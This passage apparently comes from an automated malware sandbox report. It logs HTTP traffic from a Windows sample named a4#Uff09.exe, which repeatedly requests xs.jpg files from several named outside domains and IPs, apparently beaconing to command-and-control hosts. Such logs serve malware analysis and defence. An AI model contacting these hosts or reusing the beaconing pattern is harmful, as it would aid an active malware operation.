                                                          expires: Fri, 12 Jul 2024 06:00:56 GMT
                                                          content-type: image/jpeg
                                                          last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                                          accept-ranges: bytes
                                                          content-length: 340
                                                          date: Fri, 05 Jul 2024 06:00:56 GMT
                                                          Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 01 00 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 02 01 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 03 01 01 3f 00 1f [TRUNCATED]
                                                          Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)================================================== ? ? ?


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          56192.168.2.74977254.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:56.765687943 CEST311OUTGET /images/xs.jpg?10ed67fd=1987958763 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159253|1720159208|6|10|0
                                                          Jul 5, 2024 08:00:57.499344110 CEST595INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:57 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159257|1720159208|5|11|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          57192.168.2.74977344.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:57.518018961 CEST302OUTGET /xs.jpg?118d68fd=1472400625 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159254|1720159209|6|10|0
                                                          Jul 5, 2024 08:00:58.011173964 CEST586INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:57 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159257|1720159209|4|11|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          58192.168.2.74977444.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:58.039778948 CEST304OUTGET /images/xs.jpg?11e16078=899948904 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: apple-pie.in
                                                          Cache-Control: no-cache
                                                          Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159254|1720159210|5|10|0; snkz=8.46.123.33
                                                          Jul 5, 2024 08:00:58.560448885 CEST334INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:58 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159258|1720159210|4|11|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          59192.168.2.74977578.46.2.155807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:59.023278952 CEST192OUTGET /xs.jpg?1239c7e1=2140436263 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ahmediye.net
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:00:59.706548929 CEST403INHTTP/1.1 404 Not Found
                                                          Date: Fri, 05 Jul 2024 06:00:59 GMT
                                                          Server: Apache
                                                          Content-Length: 258
                                                          Content-Type: text/html; charset=iso-8859-1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          60192.168.2.74977637.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:59.743813992 CEST205OUTGET /images/xs2.jpg?12c69143=1260012812 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:01:00.486275911 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:01:00 GMT
                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
                                                          Jul 5, 2024 08:01:00.488735914 CEST211OUTGET /images/xs2.jpg?1 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Connection: Keep-Alive
                                                          Jul 5, 2024 08:01:00.719007969 CEST646INHTTP/1.1 200 OK
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          cache-control: max-age=84600, public
                                                          expires: Fri, 12 Jul 2024 06:01:00 GMT
                                                          content-type: image/jpeg
                                                          last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                                          accept-ranges: bytes
                                                          content-length: 340
                                                          date: Fri, 05 Jul 2024 06:01:00 GMT
                                                          Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 01 00 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 02 01 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 03 01 01 3f 00 1f [TRUNCATED]
                                                          Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)================================================== ? ? ?


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          61192.168.2.74977754.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:01.041161060 CEST310OUTGET /images/xs.jpg?13a2f3e7=329446375 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159257|1720159208|5|11|0
                                                          Jul 5, 2024 08:01:02.684094906 CEST595INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:01 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159261|1720159208|4|12|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0
                                                          Jul 5, 2024 08:01:02.684597969 CEST595INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:01 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159261|1720159208|4|12|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0
                                                          Jul 5, 2024 08:01:02.684896946 CEST595INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:01 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159261|1720159208|4|12|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          62192.168.2.74977844.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:02.693866014 CEST301OUTGET /xs.jpg?14cdee4b=349040203 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159257|1720159209|4|11|0
                                                          Jul 5, 2024 08:01:03.187763929 CEST586INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:03 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159263|1720159209|5|12|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          63192.168.2.74977944.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:03.707606077 CEST304OUTGET /images/xs.jpg?15136c45=353594437 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: apple-pie.in
                                                          Cache-Control: no-cache
                                                          Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159258|1720159210|4|11|0; snkz=8.46.123.33
                                                          Jul 5, 2024 08:01:04.213954926 CEST334INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:04 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159264|1720159210|5|12|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          64192.168.2.74978078.46.2.155807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:04.301553965 CEST192OUTGET /xs.jpg?15a06cb5=-666616046 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ahmediye.net
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:01:04.933360100 CEST403INHTTP/1.1 404 Not Found
                                                          Date: Fri, 05 Jul 2024 06:01:04 GMT
                                                          Server: Apache
                                                          Content-Length: 258
                                                          Content-Type: text/html; charset=iso-8859-1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          65192.168.2.74978237.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:04.989762068 CEST205OUTGET /images/xs2.jpg?1616ff23=1482423436 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:01:05.700212002 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:01:05 GMT
                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
                                                          Jul 5, 2024 08:01:05.710355997 CEST211OUTGET /images/xs2.jpg?1 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Connection: Keep-Alive
                                                          Jul 5, 2024 08:01:05.932271957 CEST646INHTTP/1.1 200 OK
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          cache-control: max-age=84600, public
                                                          expires: Fri, 12 Jul 2024 06:01:05 GMT
                                                          content-type: image/jpeg
                                                          last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                                          accept-ranges: bytes
                                                          content-length: 340
                                                          date: Fri, 05 Jul 2024 06:01:05 GMT
                                                          Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 01 00 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 02 01 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 03 01 01 3f 00 1f [TRUNCATED]
                                                          Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)================================================== ? ? ?


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          66192.168.2.74978354.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:06.213484049 CEST311OUTGET /images/xs.jpg?16fa95a6=-439756676 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159261|1720159208|4|12|0
                                                          Jul 5, 2024 08:01:06.944360018 CEST595INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:06 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159266|1720159208|4|13|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
